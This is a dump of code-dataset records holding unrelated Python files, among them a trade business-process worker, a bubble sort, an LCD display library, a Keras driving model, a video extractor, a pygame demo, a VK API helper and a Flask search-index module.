defaults.' % self._log_str)\n if error_msg:\n self.force_to_state(self._bp, 'Defaults Delete Failed', error_msg)\n return\n LOGGER.info('%s: Defaults deleted successfully.' % self._log_str)\n self.handle_event(self._bp, 'Success')\n \n def _get_val_group_name(self):\n if is_amwi_cleared_trade(self._trade):\n currency = self._trade.Instrument().Currency().Name()\n return get_param_value(FPARAM_CURRENCY_TO_VAL_GROUP, currency)\n discount_index = getattr(self._trade.AdditionalInfo(), AGREEMENTS['Discount_Index'])()\n return get_param_value(FPARAM_INDEX_TO_VAL_GROUP, discount_index)\n \n def _process_update_val_group(self):\n # Only logging in this step, actual val group updates planned for the next phase.\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n current_val_grp_name = (self._trade.Instrument().ValuationGrpChlItem().Name() \n if self._trade.Instrument().ValuationGrpChlItem() else '')\n LOGGER.info('%s: Current val group \"%s\".' \n % (self._log_str, current_val_grp_name))\n try:\n val_grp_name = self._get_val_group_name()\n except:\n error_msg = 'Failed to get val group name.'\n LOGGER.exception('%s: %s' % (self._log_str, error_msg))\n else:\n LOGGER.info('%s: Selected val group \"%s\".' \n % (self._log_str, val_grp_name))\n LOGGER.info('%s: Val group update applicable: %s.'\n % (self._log_str, self.val_group_update_applicable(self._trade)))\n self.handle_event(self._bp, 'Success')\n \n def _process_defaults_update_failed(self):\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n visited_states = [state.Name() for state in reversed(self._bp.VisitedStates())]\n data_received_index = 0\n try:\n data_received_index = visited_states.index('Data Received')\n except ValueError:\n LOGGER.warning('%s: Cannot retry, \"Data Received\" step not found.' \n % self._log_str)\n return\n current_update_count = visited_states[:data_received_index].count('Populating Defaults')\n if current_update_count > POPULATE_DEFAULTS_RETRIES:\n LOGGER.info('%s: Not retrying again, already tried %s times.' \n % (self._log_str, current_update_count))\n return\n LOGGER.info('%s: Tried to update defaults %s times, retrying...' \n % (self._log_str, current_update_count))\n self.handle_event(self._bp, 'Retry')\n \n def _process_defaults_delete_failed(self):\n LOGGER.info('%s: Processing state \"%s\".' \n % (self._log_str, self._bp.CurrentStep().State().Name()))\n visited_states = [state.Name() for state in reversed(self._bp.VisitedStates())]\n data_not_received_index = 0\n try:\n data_not_received_index = visited_states.index('Data Not Received')\n except ValueError:\n LOGGER.warning('%s: Cannot retry, \"Data Not Received\" step not found.' \n % self._log_str)\n return\n current_update_count = visited_states[:data_not_received_index].count('Deleting Defaults')\n if current_update_count > DELETE_DEFAULTS_RETRIES:\n LOGGER.info('%s: Not retrying again, already tried %s times.' \n % (self._log_str, current_update_count))\n return\n LOGGER.info('%s: Tried to delete defaults %s times, retrying...' \n % (self._log_str, current_update_count))\n self.handle_event(self._bp, 'Retry')\n \n def process(self):\n if self._bp.StateChart() != self.state_chart:\n return\n current_state = self._bp.CurrentStep().State().Name()\n if current_state == 'Requesting Legal Data':\n self._process_data_request()\n elif current_state == 'Data Received':\n self._process_data_received()\n elif current_state == 'Data Not Received':\n self._process_data_not_received()\n elif current_state == 'Populating Defaults':\n self._process_populate_defaults()\n elif current_state == 'Deleting Defaults':\n self._process_delete_defaults()\n elif current_state == 'Updating Val Group':\n self._process_update_val_group()\n elif current_state == 'Defaults Update Failed':\n self._process_defaults_update_failed()\n elif current_state == 'Defaults Delete Failed':\n self._process_defaults_delete_failed()\n\n\nclass TradeWorker(object):\n \n state_chart = STATE_CHART\n \n def __init__(self, trade):\n self._trade = trade\n \n @staticmethod\n def move_process(bp, new_state):\n BusinessProcessWorker.force_to_state(bp, new_state)\n \n def _init_process(self):\n bp = get_process_for_trade(self._trade, self.state_chart)\n if bp:\n return bp\n try:\n bp = acm.BusinessProcess.InitializeProcess(self._trade, self.state_chart)\n bp.Commit()\n except:\n LOGGER.exception('Failed to initialize process for trade %s.' % self._trade.Oid())\n raise\n LOGGER.info('Initialized process %s for trade %s.' % (bp.Oid(), self._trade.Oid()))\n return bp\n \n def process(self):\n bp = self._init_process()\n self.move_process(bp, 'Requesting Legal Data')\n\n\nclass TradeWorkerUpdateValGroup(TradeWorker):\n \n def process(self):\n bp = get_process_for_trade(self._trade, self.state_chart)\n if not bp:\n LOGGER.info('Business process not found for trade %s.' % self._trade.Oid())\n return\n if not bp.CurrentStep().IsInEndState():\n LOGGER.info('Current step \"%s\" is not an end state.' % bp.CurrentStateName())\n return\n discount_index = getattr(self._trade.AdditionalInfo(), AGREEMENTS['Discount_Index'])()\n if not discount_index:\n LOGGER.info('Add info %s not populated on trade %s.' \n % (AGREEMENTS['Discount_Index'], self._trade.Oid()))\n return\n if not BusinessProcessWorker.val_group_update_applicable(self._trade):\n LOGGER.info('Val group update not applicable for trade %s.' % self._trade.Oid())\n return\n self.move_process(bp, 'Updating Val Group')\n\n\ndef start():\n AMB_CONNECTION.connect()\n\n\ndef start_ex(params):\n fparam_name = params['fparam_name']\n LOGGER.info('Using FParameters \"%s\".' % fparam_name)\n AMB_CONNECTION.fparam_name = fparam_name\n queue_delay = params['queue_delay']\n if queue_delay:\n LOGGER.info('Using delayed queue by %s seconds.' % queue_delay)\n AMB_CONNECTION.init_delayed_queue(queue_delay)\n start()\n\n\ndef get_worker(amba_message):\n record_type = get_record_type(amba_message)\n if record_type == 'Trade':\n operation = get_operation(amba_message)\n if operation == 'INSERT':\n acm_object = get_acm_object(amba_message)\n return TradeWorker(acm_object)\n if operation == 'UPDATE':\n msg_object = AmbaMessage(amba_message)\n if get_updated_fields(msg_object, UPDATED_FIELDS_TRIGGER_REQUEST):\n acm_object = get_acm_object(amba_message)\n return TradeWorker(acm_object)\n if get_updated_fields(msg_object, UPDATED_FIELDS_VAL_GRP_UPDATE):\n acm_object = get_acm_object(amba_message)\n return TradeWorkerUpdateValGroup(acm_object)\n elif record_type == 'BusinessProcess':\n acm_object = get_acm_object(amba_message)\n try:\n acm_version_id = acm_object.VersionId()\n except:\n acm_version_id = 0\n msg_object = AmbaMessage(amba_message)\n try:\n msg_version_id = int(msg_object.parent_table.attributes['VERSION_ID']['current'])\n except:\n msg_version_id = 0\n LOGGER.info('ACM object version ID: %s' % acm_version_id)\n LOGGER.info('MSG object version ID: %s' % msg_version_id)\n if msg_version_id < acm_version_id:\n LOGGER.warning('Message Version ID lower than ACM object, skipping message...')\n return None\n return BusinessProcessWorker(acm_object)\n return None\n\n\ndef work():\n while not AMB_CONNECTION.queue.empty():\n event, channel_number, amb_message_number = AMB_CONNECTION.queue.get()\n LOGGER.info('Started processing: %s' % amb_message_number)\n message_buffer = amb.mbf_create_buffer_from_data(event.data_p)\n amba_message = message_buffer.mbf_read()\n try:\n worker_object = get_worker(amba_message)\n if worker_object:\n worker_object.process()\n except:\n LOGGER.exception('Message processing failed: %s.' \n % amba_message.mbf_object_to_string())\n amb.mb_queue_accept(channel_number, event, str(amb_message_number))\n amba_message.mbf_destroy_object()\n message_buffer.mbf_destroy_buffer()\n LOGGER.info('Processing done: %s' % amb_message_number)\n \n if AMB_CONNECTION.disconnected and AMB_CONNECTION.queue.empty():\n AMB_CONNECTION.connect()\n","sub_path":"Extensions/ABSA Specific 4.3/FPythonCode/las_ats.py","file_name":"las_ats.py","file_ext":"py","file_size_in_byte":25222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"383252131","text":"##Program to sort a Numpy array in ascending order using bubble sort and print the sorted indices\n\nimport numpy as np\n\nlist1 = np.array([20,85,100,2,11,75,91,15,18,21,29,22,12,19,27])\n\nlist2 = np.empty([15,2], dtype = 'int16')\n\nprint(list2)\nfor i in range(len(list1)):\n list2[i,0] = list1[i]\n list2[i,1] = i\n \ncount = 1\n\nwhile count != 0:\n count = 0\n for i in range(len(list2)-1):\n if list2[i,0]>list2[i+1,0]:\n temp1,temp2 = list2[i,0],list2[i,1]\n list2[i,0],list2[i,1] = list2[i+1,0],list2[i+1,1]\n list2[i+1,0],list2[i+1,1] = temp1,temp2\n count += 1\n else:\n continue\n\nprint(\"Elements of numpy array in ascending order:\")\nfor i in range(len(list2)):\n print(list2[i,0], end=' ')\nprint()\nprint(\"Sorted indices of the list:\")\nfor i in range(len(list2)):\n print(list2[i,1], end=' ') \n \n\n\n\n","sub_path":"Assignment1/KManivas_204102304/Q07.py","file_name":"Q07.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"639990539","text":"DATASET_TYPE = \"age\"\n\nBASE_PATH = \"datasets/adience\"\nOUTPUT_BASE = \"output\"\nMX_OUTPUT = BASE_PATH\nIMAGES_PATH = BASE_PATH + \"/aligned\"\nLABELS_PATH = BASE_PATH + \"/folds\"\n\n# percentage of validations and testing images \n# relative to the number of training images\nNUM_VAL_IMAGES = 0.15\nNUM_TEST_IMAGES = 0.15\n\nBATCH_SIZE = 128\n\nif DATASET_TYPE == \"age\":\n NUM_CLASSES = 8\n LABEL_ENCODER_PATH = OUTPUT_BASE + \"/age_le.cpickle\"\n\n TRAIN_MX_LIST = MX_OUTPUT + \"/lists/age_train.lst\"\n VAL_MX_LIST = MX_OUTPUT + \"/lists/age_val.lst\"\n TEST_MX_LIST = MX_OUTPUT + \"/lists/age_test.lst\"\n\n TRAIN_MX_REC = MX_OUTPUT + \"/rec/age_train.rec\"\n VAL_MX_REC = MX_OUTPUT + \"/rec/age_val.rec\"\n TEST_MX_REC = MX_OUTPUT + \"/rec/age_test.rec\"\n\n DATASET_MEAN = OUTPUT_BASE + \"/age_adience_mean.json\"\n\nelif DATASET_TYPE == \"gender\":\n NUM_CLASSES = 2\n LABEL_ENCODER_PATH = OUTPUT_BASE + \"/gender_le.cpickle\"\n\n TRAIN_MX_LIST = MX_OUTPUT + \"/lists/gender_train.lst\"\n VAL_MX_LIST = MX_OUTPUT + \"/lists/gender_val.lst\"\n TEST_MX_LIST = MX_OUTPUT + \"/lists/gender_test.lst\"\n\n TRAIN_MX_REC = MX_OUTPUT + \"/rec/gender_train.rec\"\n VAL_MX_REC = MX_OUTPUT + \"/rec/gender_val.rec\"\n TEST_MX_REC = MX_OUTPUT + \"/rec/gender_test.rec\"\n\n DATASET_MEAN = OUTPUT_BASE + \"/gender_adience_mean.json\"\n\n \n","sub_path":"config/age_gender_config.py","file_name":"age_gender_config.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"480942441","text":"#libreria para lcd.oled.i2c con controlador sh1106\n\n#funciones\n# lcd.init()\n#lcd.write(x,y,\"text\")\n#lcd.clear()\n#lcd.logo(\"logo\")\n#lcd.puntero(x) (0-3)\n\nfrom luma.core.interface.serial import i2c #libreria para comuncacion con lcd.oled 1.3\"\nfrom luma.core.render import canvas \nfrom luma.oled.device import sh1106\nfrom PIL import ImageFont, ImageDraw, Image #libreria para imagenes en lcd\nimport os.path\nimport time\n\n\ndef init(): #inicializar lcd\n global device\n global font\n serial = i2c(port=1, address=0x3C) #puerto de raspberry y address del dispositivo\n device = sh1106(serial, rotate=0) #seleccion del driver del lcd \n font = ImageFont.truetype(\"/usr/share/fonts/truetype/freefont/FreeSerif.ttf\",16) #tipo de letra(direccion) y tamaño \n\ndef write(text0,text1,text2,text3,puntero,line): #write(texto0,texto1,texto2,texto3,(True/Flase),linea_puntero)\n with canvas(device) as draw: \n #font = ImageFont.truetype(\"/usr/share/fonts/truetype/freefont/FreeSerif.ttf\",16)\n draw.text((12,0),text0,font=font, fill=\"white\")\n draw.text((12,15),text1,font=font, fill=\"white\")\n draw.text((12,30),text2,font=font, fill=\"white\")\n draw.text((12,45),text3,font=font, fill=\"white\")\n \n if puntero is True:\n for i in range(9):\n draw.point((2+i,9+(line*15)),fill=\"white\")\n for i in range(4):\n draw.point((10-i,8-i+(line*15)),fill=\"white\")\n draw.point((10-i,10+i+(line*15)),fill=\"white\")\n \n\ndef clear_all(): #limpiar pantalla completa\n with canvas(device) as draw:\n draw.text((0,0),\" \",font=font, fill=\"white\") \n\ndef logo(logo): #logo de itcg,addictronics,tnm,pi_logo\n if logo is \"tnm\":\n img_path = os.path.abspath(os.path.join(os.path.dirname(__file__),\n 'images', 'tnm.png'))\n elif logo is \"addictronics\":\n img_path = os.path.abspath(os.path.join(os.path.dirname(__file__),\n 'images', 'addictronics.png'))\n elif logo is \"itcg\":\n img_path = os.path.abspath(os.path.join(os.path.dirname(__file__),\n 'images', 'itcg.png'))\n elif logo is \"raspi\":\n img_path = os.path.abspath(os.path.join(os.path.dirname(__file__),\n 'images', 'pi_logo.png'))\n\n logo = Image.open(img_path).convert(\"RGBA\")\n fff = Image.new(logo.mode, logo.size, (255,) * 4)\n background = Image.new(\"RGBA\", device.size, \"white\")\n posn = ((device.width - logo.width) // 2, 0)\n \n rot = logo.rotate(0,resample=Image.BILINEAR)\n img=Image.composite(rot,fff,rot)\n background.paste(img, posn)\n device.display(background.convert(device.mode))\n\ndef message(text0,text1):\n with canvas(device) as draw:\n draw.text((0,15),text0,font=font, fill=\"white\")\n draw.text((0,30),text1,font=font, fill=\"white\") \n","sub_path":"library/lcd.py","file_name":"lcd.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"69896977","text":"import random as R\n\nnum = list()\n\nfor i in range (1,32):\n num.append(i)\nfor i in range (11,21):\n num.append(i)\n\ntimes=0\nwhile(times<10):\n input()\n\n rand_num=num.pop(R.randrange(0,41-times))#랜덤 숫자를 리스트에서 뽑아온다.\n\n print(\"%2d번째 숫자 : \" %int(times+1),end=\"\")\n if(rand_num==31):\n print('★')\n else:\n print(rand_num)\n\n times+=1","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"22975281","text":"import os\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport random\nfrom sklearn.utils import shuffle\n\n# set keras backend to tensorflow\nos.environ['KERAS_BACKEND'] = 'tensorflow'\n\n# set flags\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string('home_dir',\n'C:/Users/Sriram/Desktop/Udacity/selfdriving_car/CarND-Behavioral-Cloning-P3',\n\"location of folder that contains the data folder\")\nflags.DEFINE_integer('batch_size', 128, \"size of each batch\")\nflags.DEFINE_integer('epochs', 20, \"number of epochs to run the training\")\nflags.DEFINE_float('learn_rate', 0.0001, \"learning rate to use for training\")\n\n# set home directory\nos.chdir(FLAGS.home_dir)\n\n# extract required image loc data from list\n# TODO: expand func to include other targers (throttle brake etc)\ndef extract_image_loc_data(all_data, center=True,\n right=False, left=False,\n train_valid_split=True,\n train_size=0.7):\n image_loc_lst = []\n for line in all_data:\n c,l,r,angle,throt,brake,speed = line.split(',')\n angle = float(angle)\n if center: image_loc_lst.append([c,angle])\n if right: image_loc_lst.append([r,side_angle(angle,side='r')])\n if left: image_loc_lst.append([l,side_angle(angle,side='l')])\n\n random.shuffle(image_loc_lst) # shuffle in-place\n if train_valid_split:\n train_end_idx = int(len(image_loc_lst)*train_size)\n return image_loc_lst[0:train_end_idx], image_loc_lst[train_end_idx:-1]\n return image_loc_lst\n\n# batch data generator\n# img_loc_response_list: a list of the location of a given Image\n# and its corresponding class (target) value\n# this generator get actual images from the ./data/IMG folder\ndef batch_data_gen(img_loc_response_list, batch_size):\n\n loc_list = shuffle(img_loc_response_list)\n data_size = len(loc_list)\n\n while True:\n for start_batch in range(0, data_size, batch_size):\n end_batch = start_batch + batch_size\n if end_batch > data_size: end_batch = data_size\n loc_list_batch = loc_list[start_batch:end_batch]\n X_batch_loc, y_batch = zip(*loc_list_batch)\n X_batch = list(map(lambda x: plt.imread(x),\n X_batch_loc)) # extract images from specified location\n\n yield np.array(X_batch), np.array(y_batch)\n\n# add correction to right or left camera angle\ndef side_angle(angle, side, correction=0.2):\n if side=='r': return angle - correction\n if side=='l': return angle + correction\n\n# obtain data list with image location and target value\n\nwith open('./data3/driving_log.csv', 'r') as f:\n read_file = f.readlines()\n train_data_lst, valid_data_lst =\\\n extract_image_loc_data(read_file, center=True,\n left=False, right=False, # not using left and right cameras\n train_valid_split=True)\n\n\ntrain_gen = batch_data_gen(img_loc_response_list=train_data_lst,\n batch_size=FLAGS.batch_size)\nvalid_gen = batch_data_gen(img_loc_response_list=valid_data_lst,\n batch_size=FLAGS.batch_size)\n# model using keras\nfrom keras.models import Sequential\nfrom keras.layers import Lambda, Dense, Flatten, Dropout, Activation\nfrom keras.layers.convolutional import Conv2D, Cropping2D\nfrom keras.layers.pooling import MaxPooling2D\nfrom keras.optimizers import Adam\n\nmodel = Sequential()\n\nrow, col, ch = 160, 320, 3\n\n# preprocessing layers\nmodel.add(Lambda(lambda x: x/127.5 + 1,\n input_shape=(row,col,ch),\n output_shape=(row,col,ch))) # normalize the data\nmodel.add(Cropping2D(cropping=((50,20),(0,0)),\n input_shape=(row,col,ch))) # crop image\n\n# TODO: edit below to create a more powerful model\n# a model similar to nvidias (from paper)\n# conv layers\n# conv1\nmodel.add(Conv2D(filters=24, kernel_size=(5,5),\n strides=(2,2), padding='same'))\nmodel.add(Activation('relu'))\n\n# conv2\nmodel.add(Conv2D(filters=36, kernel_size=(5,5),\n strides=(2,2), padding='same'))\nmodel.add(Activation('relu'))\n\n# conv3\nmodel.add(Conv2D(filters=48, kernel_size=(5,5),\n strides=(2,2), padding='same'))\nmodel.add(Activation('relu'))\n\n# conv4\nmodel.add(Conv2D(filters=64, kernel_size=(3,3),\n strides=(1,1), padding='valid'))\nmodel.add(Activation('relu'))\n\n# conv5\nmodel.add(Conv2D(filters=36, kernel_size=(5,5),\n strides=(2,2), padding='valid'))\nmodel.add(Activation('relu'))\n\n# Flatten\nmodel.add(Flatten())\n\n# fully connected 1\nmodel.add(Dense(500)) # a linear regression network\n\n# Dropout\nmodel.add(Dropout(0.1))\n\n# fully connected 2\nmodel.add(Dense(150))\n\n# fully connected 3\nmodel.add(Dense(10))\n\n# final output layer\nmodel.add(Dense(1))\n\n# train the model\noptim = Adam(lr=FLAGS.learn_rate)\nmodel.compile(loss='mse',optimizer=optim,metrics=['mse'])\n\nmodel.fit_generator(generator=train_gen,\n steps_per_epoch=len(train_data_lst)//FLAGS.batch_size,\n epochs=FLAGS.epochs,\n validation_data=valid_gen,\n validation_steps=len(valid_data_lst)//FLAGS.batch_size)\n\nmodel.save('model_2_gpu.h5')\n","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"253618444","text":"#!/usr/bin/env python\n\nfrom ..util.html import *\nfrom ..util.match import *\nfrom ..util import log\nfrom ..extractor import VideoExtractor\nfrom ..common import playlist_not_supported\n\nclass Veoh(VideoExtractor):\n\n name = 'Veoh'\n\n def prepare(self, **kwargs):\n assert self.url or self.vid\n\n if not self.vid:\n self.vid = match1(self.url, 'http://www.veoh.com/watch/(\\w+)', 'http://www.veoh.com/m/watch.php\\?v=(\\w+)')\n\n if not self.vid:\n log.wtf('Cannot find item ID')\n\n webpage_url = 'http://www.veoh.com/m/watch.php?v={}&quality=1'.format(self.vid)\n\n #grab download URL\n a = get_content(webpage_url)\n url = match1(a, r'= min_salary and years_on_job >= min_years:\n print ('You qualify for the loan.')\nelif years_on_job < min_years:\n print ('you must have been employed', \\\n 'for at least', min_years, \\\n 'years to qualify.')\nelse:\n print ('you must earn at least $', \\\n format(min_salary, ',.2f'), \\\n ' per year to qualify.' )\n","sub_path":"Chapter 1/loan_Qualifier2.py","file_name":"loan_Qualifier2.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"484611498","text":"\"\"\"\n现有三个柱子,在第一个柱子有number个盘子要移动多少次才能全部移动到第三个柱子?\n规则:1、第一个柱子是按照盘子大小从小到大放置,\n 2、在三根柱子之间一次只能移动一个圆盘\n 3、移动的时候只能小盘子在上,大盘子在下\n\"\"\"\n# 第一种\ncount = 0\ndef move(n,x,y,z):\n if n==1:\n global count\n count += 1\n print('第%d次: %s --> %s' %(count,x,z))\n else:\n move(n-1,x,z,y) # 将前n-1个盘子从x移动到y上\n move(1,x,y,z) # 将最底下的最后一个盘子从x移动到z上\n move(n-1,y,x,z) # 将y上的n-1个盘子移动到z上\n\nn=int(input('请输入汉诺塔的层数:'))\nmove(n,'x','y','z')\n\n# 第二种\ndef move(number):\n if number <= 0:\n return 0\n elif number == 1:\n return 1\n else:\n return move(number - 1)*2 +1\nprint(move(10))\n","sub_path":"0804_递归函数_汉诺塔.py","file_name":"0804_递归函数_汉诺塔.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"109595852","text":"import numpy as np\nimport theano\nimport theano.tensor as T\nfrom functools import partial\nimport pandas as pd\nimport pickle\nimport time\nimport sys\nimport os\nimport multiprocessing as mp\nimport demixing as dm\nfrom demixing import MLP, HiddenLayer\nfrom scipy.stats import kurtosis\n\ndef main():\n\ti = int(sys.argv[1])\n\tj = int(sys.argv[2])\n\n\tpkl_file = open('readout.pkl', 'rb')\n\tposts, testsets = pickle.load(pkl_file)\n\n\tfile_name = 'output_nn_tests_' + str(j) + '/nn_tests_' + str(j) + '_' + str(i) + '.pkl'\n\tif os.path.isfile(file_name):\n\t pkl_file = open(file_name, 'rb')\n\t nn, nnx, valid_mse, _, _ = pickle.load(pkl_file)\n\n\tx = []\n\ty = []\n\tfor s_i in range(31):\n\t x.append(dm.get_hu_responses(testsets[s_i], nn))\n\t y.append(np.array((1/posts[s_i]['var_s1'], 1/posts[s_i]['var_s2'])))\n\ty = np.concatenate(y, axis=1).T\n\tx = np.concatenate(x)\n\tinds = range(len(x))\n\tnp.random.shuffle(inds)\n\tx_shuf = x[inds]\n\ty_shuf = y[inds]\n\tvalidset_hid = x_shuf[0:2000], y_shuf[0:2000]\n\ttrainset_hid = x_shuf[2000:], y_shuf[2000:]\n\n\tr = []\n\tfor s_i in range(31):\n\t r.append(testsets[s_i])\n\tr = np.concatenate(r)\n\tr_shuf = r[inds]\n\tvalidset_r = r_shuf[0:2000], y_shuf[0:2000]\n\ttrainset_r = r_shuf[2000:], y_shuf[2000:]\n\n\tnn_lin, nnx_lin, valid_mse_lin = dm.train_nn(trainset_hid, valid_dataset=validset_hid, n_in=20, learning_rate=0.00001, n_epochs=100, linear=True, rho=.9, mu=.99, nesterov=True)\n\tnn_full, nnx_full, valid_mse_full = dm.train_nn(trainset_r, valid_dataset=validset_r, learning_rate=0.0001, mult_ys=False, n_epochs=100, rho=.9, mu=.99, nesterov=True)\n\n\thus, vpost = validset_hid\n\tlin_preds = dm.get_hu_responses(hus, nn_lin)\n\tfull_preds, _ = dm.test_nn(nn_full, nnx_full, validset_r)\n\tsum_preds = np.sum(hus, axis=1)\n\tkurt_preds = kurtosis(hus, axis=1)\n\tvp = np.concatenate((vpost.T[0], vpost.T[1]))\n\tlin_preds = np.concatenate((lin_preds.T[0], lin_preds.T[1]))\n\tfull_preds = np.concatenate((full_preds.T[0], full_preds.T[1]))\n\tsum_preds = np.concatenate((sum_preds, sum_preds))\n\tkurt_preds = np.concatenate((kurt_preds, kurt_preds))\n\n\tlin_corr = np.corrcoef(vp, lin_preds)\n\tfull_corr = np.corrcoef(vp, full_preds)\n\tsum_corr = np.corrcoef(vp, sum_preds)\n\tkurt_corr = np.corrcoef(vp, kurt_preds)\n\n\tpkl_file = open('readout_' + str(j) + '_' + str(i) + '.pkl', 'wb')\n\tpickle.dump((lin_preds, lin_corr, full_preds, full_corr, sum_preds, sum_corr, kurt_preds, kurt_corr, valid_mse, valid_mse_lin, valid_mse_full, vp), pkl_file)\n\tpkl_file.close()\nif __name__ == \"__main__\":\n\tmain()","sub_path":"Code/Demixing/post_readout.py","file_name":"post_readout.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"446111996","text":"from keras.models import load_model\nnew_model = load_model(\"/content/chest-xray-pneumonia.h5\")\n\ndef get_rez(pic):\n img = image.load_img(pic, target_size=(224,224))\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = preprocess_input(x)\n p_good,p_ill = np.around(new_model.predict(x), decimals=2)[0]\n return{'p_good':p_good,'p_ill':p_ill}\n\nill_path = \"/content/chest_xray/train/PNEUMONIA/\" \ngood_path = \"/content/chest_xray/train/NORMAL/\" \n\nill_pic = ill_path + os.listdir(ill_path)[0]\ngood_pic = good_path + os.listdir(good_path)[0]\n\nprint(get_rez(ill_pic))\nprint(get_rez(good_pic))","sub_path":"Training Model/implementation.py","file_name":"implementation.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"448980028","text":"import pygame\nimport numpy as np\nfrom math import sqrt\n\nfrom units import Unit\nfrom common import get_distance\n\npygame.init()\n\ndisplay_width = 1280\ndisplay_height = 720\n\nwhite = (255, 255, 255)\nblue = (0, 0, 255)\n\nlarva_img = pygame.image.load('images/larva.png')\n\n\ngameDisplay = pygame.display.set_mode((display_width, display_height))\npygame.display.set_caption('A single larva')\nclock = pygame.time.Clock()\n\n\n\ndef game_loop():\n \n gameExit = False\n units_selected = []\n selecting_circle = [False, None, None]\n\n units=[Unit(gameDisplay, larva_img, (300, 300))]\n\n while not gameExit:\n\n # Consider time as simultanious for each game loop\n time_now = pygame.time.get_ticks()\n for unit in units:\n unit.set_time(time_now)\n gameDisplay.fill(white)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n # if event.type == pygame.KEYDOWN:\n # if event.key == pygame.K_LEFT:\n # larva.move_to(larva.position + np.array([-10, 0]))\n # if event.key == pygame.K_RIGHT:\n # larva.move_to(larva.position + np.array([10, 0]))\n if event.type == pygame.MOUSEBUTTONDOWN:\n x, y = event.pos\n if not units_selected:\n selecting_circle = [True, np.array([x,y]), 1]\n else:\n for unit in units_selected:\n unit.move_to([x,y])\n unit.selected = False\n units_selected = []\n if event.type == pygame.MOUSEBUTTONUP:\n if selecting_circle[0]:\n for unit in units:\n if get_distance(unit.position, selecting_circle[1]) <= selecting_circle[2]:\n unit.selected = True\n units_selected.append(unit)\n selecting_circle = [False, None, None]\n if event.type == pygame.MOUSEMOTION:\n if selecting_circle[0]:\n x, y = event.pos\n selecting_circle[2] = int(get_distance([x,y], selecting_circle[1]))\n \n\n if selecting_circle[0]:\n pygame.draw.circle(\n gameDisplay,\n blue,\n (selecting_circle[1][0], selecting_circle[1][1]),\n selecting_circle[2],\n 1,\n )\n for unit in units:\n unit.move()\n unit.draw()\n\n pygame.display.update()\n clock.tick(60)\n\nif __name__ == '__main__':\n game_loop()\n pygame.quit()\n quit()\n","sub_path":"larva.py","file_name":"larva.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"324810713","text":"import requests\nfrom pprint import pprint\n\nclass User:\n\n def users(self, user1_id, user2_id):\n self.user1_id = user1_id\n self.user2_id = user2_id\n vk = \"https://api.vk.com/method\"\n access_token = ''# Input token\n\n query_params = {\n 'site': vk,\n 'access_token': access_token,\n 'source_uid': self.user1_id,\n 'target_uid': self.user2_id\n }\n\n query = \"{site}/friends.getMutual?access_token={access_token}&source_uid={source_uid}&target_uid={target_uid}&v=5.103\".format(**query_params)\n response = requests.get(query).json()\n self.response = response\n pprint(f'ID Our friends : {self.response[\"response\"]}')\n","sub_path":"user_class.py","file_name":"user_class.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"430032412","text":"import os\nfrom pathlib import Path\nimport shlex\nfrom typing import Optional, List, Union, Tuple\n\nimport pandas as pd\nimport numpy as np\nfrom flask import Flask, request, Response\nfrom transformers import pipeline\n\nfrom .utils.utils import create_directory\nfrom .index import get_parser as index_parser, run as run_index, CollectionEncoder\nfrom .index_faiss import get_parser as faiss_index_parser, run as run_faiss_index\nfrom .indexing.faiss_index import FaissIndex\nimport faiss\nfrom tqdm import tqdm\nfrom .ranking.retrieval import search_engine_retrieve\nfrom .retrieve import get_parser as retrieve_parser\n\n\nos.environ['TOKENIZERS_PARALLELISM'] = 'false'\n\napp = Flask('hebbia-hack')\n\ndir_path = Path(__file__).parents[2] # Need two directories up\n\nROOT = os.path.join(dir_path, \"experiments/\")\nINDEX_ROOT = os.path.join(dir_path, \"indexes/\")\nCOLLECTIONS = os.path.join(dir_path, \"collections/\")\nPADDING = '_'\n\n\n# class SimpleIndex:\n#\n# @property\n# def exists(self) -> bool:\n# raise NotImplementedError()\n#\n# def add(self, items: list):\n# raise NotImplementedError()\n#\n# def get(self, ids: list):\n# raise NotImplementedError()\n\n\nclass Collection:\n \"\"\" Simple class to stop code repeating \"\"\"\n def __init__(self,\n name: str,\n collections_dir: str = COLLECTIONS,\n padding: str = PADDING,\n root: str = ROOT,\n index_dir: str = INDEX_ROOT,\n partitions = 1):\n\n self.name = name\n self.collections_dir = collections_dir\n self.root = root\n self.index_dir = os.path.join(index_dir, self.name)\n self.partitions = partitions\n\n self.__doc_df = None\n self.padding = padding\n\n self.__index = None\n self.__faiss_index = None\n\n @property\n def fp(self):\n \"\"\" filepath to the collection itself \"\"\"\n return os.path.join(self.collections_dir, 